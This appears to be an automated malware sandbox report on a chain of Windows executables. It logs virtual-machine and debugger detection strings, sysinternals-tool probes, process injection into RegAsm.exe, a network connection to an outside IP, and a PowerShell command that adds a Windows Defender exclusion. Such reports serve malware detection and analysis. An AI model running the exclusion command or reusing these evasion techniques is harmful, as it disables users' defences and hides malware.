JkjIDr7NVw3n
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000002.3073575028.0000000001418000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942487367.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2941258327.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940853881.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.0000000001447000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943456957.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934755710.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.2226894863.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.2226894863.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ac861238af.exe, 00000010.00000003.7189145681.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: amert.exe, 00000007.00000003.1859371747.00000000011C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}w
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001418000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000;
Source: RageMP131.exe, 0000002E.00000003.2194989877.0000000001011000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: MPGPH131.exe, 0000001B.00000002.3354975509.0000000008120000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}SModulePath=%ProgramFiles(x86)%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows
Source: 1CMweaqlKp.exe, 00000000.00000003.1640238021.000000000113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: amert.exe, 00000007.00000003.1866578225.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c73
Source: netsh.exe, 00000016.00000003.1948196297.00000284B17C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllUU
Source: MPGPH131.exe, 0000001B.00000002.3350736971.00000000013ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: MPGPH131.exe, 0000001B.00000003.3207696960.0000000008157000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: F9yfql/YAw6y7rQAN4mT6KSsNSB268R9S0jYt4RkfcsbwCi8b/me+Id1GWEHfcsbCyywb3nLGt63vEoK6zPCwH1LiO1bQmzfEpL0LSG8bwlRfUuI6Ft4qrK34myq2u1Ou91pp93JdVAzExFYJ6xLBQXWCaONCqwThe8NrBOKH/X+ObCnB79/DiSNfv8ciu5//xyMHu7TFz76gnz6wqmjfPqiZXh9+iJkRIRECRvxgSFRwogjQ6JESfCFRAmVEB4wIsmkFRQwIglfVMCIpHK9ASMSyQ2Pxhk43wZF4wwkjIrGGYrsjcYZjBw+VsJn/6CxEk4dNVaiZXjHSoSM8Mk2bMkJmmzDaKMm2yh872Qbin/Jia+RtPj9FRMJkjIDr7NVw3n
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: MPGPH131.exe, 0000001B.00000002.3350736971.0000000001466000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_ABA40470mm
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: MPGPH131.exe, 0000001B.00000003.3248220823.0000000007CD6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}jp,w.jp,x.jp,y.jp,z.jp,a.za,b.za,c.za,d.za,e.za,f.za,g.za,h.za,i.za,j.za,k.za,l.za,m.za,n.za,o.za,p.za,q.z
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: MPGPH131.exe, 0000001C.00000003.2505158116.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91e
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}es=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windowsee
Source: RageMP131.exe, 0000002E.00000002.2637513543.000000000100E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}Y
Source: RegAsm.exe, 0000002F.00000002.2105971476.0000000000F0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: d361f35322.exe, 00000024.00000002.3081226044.0000000001440000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_ABA40470
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: d361f35322.exe, 00000024.00000003.2762447424.0000000001447000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JwZo/8MwiwHqIvXEAOVpRY7WnVBhrODe/dgRQYX3uczos12TJGMgUcbRf8jrvikd/VczY83oKOZAMzqKgTejI6EDzeg4bDERNuftnqULxoXXPfG6v9krfDbdf0XoQLjCXaLpea2NXecnZXJn9gK/7u4bACHwMWEsF/+YMF5I4GPCRFLE5FKoUgv0RsC+xv1D14mzjXDWhOP4HkVDCCuw0TOg7ZoSe+IcDxF44hzPxp84JxATeOKcTI44gBz6tsBxz8kV3Mr9ySGQd6AQBIufA8mBljGr2c5LvboJrUlkjspoX0E2zmf8Wi7uCKu66bwVcqk7OT/SRzGzI8Fb4KGABhhMsrgTyXTudeKduS4BCrZLqtu5HCGjWWcBWT2zygyOzYKzWCB4Jda5PJQz8Bg1lJo/Rg0HDTxGjUQV41HdqVdyXOqVkn1e8dO8sqbbOolfg2AmVM0VryhWWcGcYcoKpvYpKwQ0TFnhqGI8amAyr3+9rX+lgDhnc2WN9VR7E/PZPX17mOSQ+bU93mgEU2hPoeE4CGTPhOwddnXof5xFfl5co7tcTE3iOHouxpfJr06qt2mtqWrYr3D+gjeU0Eqvi09rsYc3LTTeHa+hFdn7HjKUcFxD7a0pHdlY9wZ6cvN0VG0ObsC25C2riwgNYAv7HbHjH6+S+pQT0NqEUKNKMPsnM9F0i4ZT0ONhHH4K0iLOkQ+ptqEq0HRdBaJVFho0AvqstqJ34CR2TTVURHTY1TUmlt0dI7LXcHzzF9yfql/YAw6y7rQAN4mT6KSsNSB268R9S0jYt4RkfcsbwCi8b/me+Id1GWEHfcsbCyywb3nLGt63vEoK6zPCwH1LiO1bQmzfEpL0LSG8bwlRfUuI6Ft4qrK34myq2u1Ou91pp93JdVAzExFYJ6xLBQXWCaONCqwThe8NrBOKH/X+ObCnB79/DiSNfv8ciu5//xyMHu7TFz76gnz6wqmjfPqiZXh9+iJkRIRECRvxgSFRwogjQ6JESfCFRAmVEB4wIsmkFRQwIglfVMCIpHK9ASMSyQ2Pxhk43wZF4wwkjIrGGYrsjcYZjBw+VsJn/6CxEk4dNVaiZXjHSoSM8Mk2bMkJmmzDaKMm2yh872Qbin/Jia+RtPj9FRMJkjIDr7NVw3n8
Source: amert.exe, amert.exe, 00000007.00000002.1869091189.00000000007FE000.00000040.00000001.01000000.0000000B.sdmp, d361f35322.exe, d361f35322.exe, 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmp, explorha.exe, 0000000B.00000002.1945729188.0000000000B1E000.00000040.00000001.01000000.0000000D.sdmp, MPGPH131.exe, 0000001B.00000002.3349608067.0000000000A20000.00000040.00000001.01000000.00000012.sdmp, d361f35322.exe, 00000024.00000002.3073507178.0000000000B00000.00000040.00000001.01000000.0000000C.sdmp, RageMP131.exe, 0000002E.00000002.2634385282.0000000000BB0000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: RegAsm.exe, 0000002F.00000002.2105971476.0000000000F0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareO#
Source: RageMP131.exe, 0000002E.00000003.2194989877.0000000001009000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}yr
Source: explorta.exe, 00000005.00000002.1735792403.0000000001288000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: d361f35322.exe, 00000024.00000002.3088709368.0000000007C69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}es=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windowsdd
Source: d361f35322.exe, 00000024.00000003.2819365667.000000000144A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kQ+ptqEq0HRdBaJVFho0AvqstqJ34CR2TTVURHTY1TUmlt0dI7LXcHzzF9yfql/YAw6y7rQAN4mT6KSsNSB268R9S0jYt4RkfcsbwCi8b/me+Id1GWEHfcsbCyywb3nLGt63vEoK6zPCwH1LiO1bQmzfEpL0LSG8bwlRfUuI6Ft4qrK34myq2u1Ou91pp93JdVAzExFYJ6xLBQXWCaONCqwThe8NrBOKH/X+ObCnB79/DiSNfv8ciu5//xyMHu7TFz76gnz6wqmjfPqiZXh9+iJkRIRECRvxgSFRwogjQ6JESfCFRAmVEB4wIsmkFRQwIglfVMCIpHK9ASMSyQ2Pxhk43wZF4wwkjIrGGYrsjcYZjBw+VsJn/6CxEk4dNVaiZXjHSoSM8Mk2bMkJmmzDaKMm2yh872Qbin/Jia+RtPj9FRMJkjIDr7NVw3n8
Source: d361f35322.exe, 00000009.00000003.1936676269.000000000142F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: d361f35322.exe, 00000024.00000003.2819365667.000000000144A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kQ+ptqEq0HRdBaJVFho0AvqstqJ34CR2TTVURHTY1TUmlt0dI7LXcHzzF9yfql/YAw6y7rQAN4mT6KSsNSB268R9S0jYt4RkfcsbwCi8b/me+Id1GWEHfcsbCyywb3nLGt63vEoK6zPCwH1LiO1bQmzfEpL0LSG8bwlRfUuI6Ft4qrK34myq2u1Ou91pp93JdVAzExFYJ6xLBQXWCaONCqwThe8NrBOKH/X+ObCnB79/DiSNfv8ciu5//xyMHu7TFz76gnz6wqmjfPqiZXh9+iJkRIRECRvxgSFRwogjQ6JESfCFRAmVEB4wIsmkFRQwIglfVMCIpHK9ASMSyQ2Pxhk43wZF4wwkjIrGGYrsjcYZjBw+VsJn/6CxEk4dNVaiZXjHSoSM8Mk2bMkJmmzDaKMm2yh872Qbin/Jia+RtPj9FRMJkjIDr7NVw3n
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: d361f35322.exe, 00000009.00000003.2912737740.0000000007DE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cqk7OT/SRzGzI8Fb4KGABhhMsrgTyXTudeKduS4BCrZLqtu5HCGjWWcBWT2zygyOzYKzWCB4Jda5PJQz8Bg1lJo/Rg0HDTxGjUQV41HdqVdyXOqVkn1e8dO8sqbbOolfg2AmVM0VryhWWcGcYcoKpvYpKwQ0TFnhqGI8amAyr3+9rX+lgDhnc2WN9VR7E/PZPX17mOSQ+bU93mgEU2hPoeE4CGTPhOwddnXof5xFfl5co7tcTE3iOHouxpfJr06qt2mtqWrYr3D+gjeU0Eqvi09rsYc3LTTeHa+hFdn7HjKUcFxD7a0pHdlY9wZ6cvN0VG0ObsC25C2riwgNYAv7HbHjH6+S+pQT0NqEUKNKMPsnM9F0i4ZT0ONhHH4K0iLOkQ+ptqEq0HRdBaJVFho0AvqstqJ34CR2TTVURHTY1TUmlt0dI7LXcHzzF9yfql/YAw6y7rQAN4mT6KSsNSB268R9S0jYt4RkfcsbwCi8b/me+Id1GWEHfcsbCyywb3nLGt63vEoK6zPCwH1LiO1bQmzfEpL0LSG8bwlRfUuI6Ft4qrK34myq2u1Ou91pp93JdVAzExFYJ6xLBQXWCaONCqwThe8NrBOKH/X+ObCnB79/DiSNfv8ciu5//xyMHu7TFz76gnz6wqmjfPqiZXh9+iJkRIRECRvxgSFRwogjQ6JESfCFRAmVEB4wIsmkFRQwIglfVMCIpHK9ASMSyQ2Pxhk43wZF4wwkjIrGGYrsjcYZjBw+VsJn/6CxEk4dNVaiZXjHSoSM8Mk2bMkJmmzDaKMm2yh872Qbin/Jia+RtPj9FRMJkjIDr7NVw3n
Source: d361f35322.exe, 00000024.00000002.3079225585.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: amert.exe, 00000007.00000002.1869091189.00000000007FE000.00000040.00000001.01000000.0000000B.sdmp, d361f35322.exe, 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmp, explorha.exe, 0000000B.00000002.1945729188.0000000000B1E000.00000040.00000001.01000000.0000000D.sdmp, MPGPH131.exe, 0000001B.00000002.3349608067.0000000000A20000.00000040.00000001.01000000.00000012.sdmp, d361f35322.exe, 00000024.00000002.3073507178.0000000000B00000.00000040.00000001.01000000.0000000C.sdmp, RageMP131.exe, 0000002E.00000002.2634385282.0000000000BB0000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: d361f35322.exe, 00000009.00000002.3073575028.00000000013E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_ABA40470}
Source: RageMP131.exe, 0000002E.00000002.2637513543.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe

System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread information set: HideFromDebugger
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread information set: HideFromDebugger
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

Code function: 9_2_052D03D1 Start: 052D06B7 End: 052D0461

9_2_052D03D1

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe

Code function: 7_2_05010B4F rdtsc

7_2_05010B4F

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008A4130 mov eax, dword ptr fs:[00000030h]		9_2_008A4130
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00871A60 mov eax, dword ptr fs:[00000030h]		9_2_00871A60

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 193.233.132.56 80

.NET source code references suspicious native API functions

Source: swiiiii[1].exe.10.dr, Angelo.cs	Reference to suspicious API methods: Program.GetProcAddress(Program.GetModuleHandle(aScsrhgtr), "FreeConsole")
Source: swiiiii[1].exe.10.dr, Angelo.cs	Reference to suspicious API methods: Program.GetProcAddress(Program.GetModuleHandle(aScsrhgtr), "VirtualProtectEx")
Source: file300un[1].exe.10.dr, -.cs	Reference to suspicious API methods: _FDDD_FDFD_FBD0_066C_FDD3_0611_FDFC_FDD9.LoadLibrary(_FDD4_FD3E_06D8(_FD42_066A_061F_FBB7_060E_066D._0650_FBBC_FDE8))

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe" -Force
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe" -Force

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
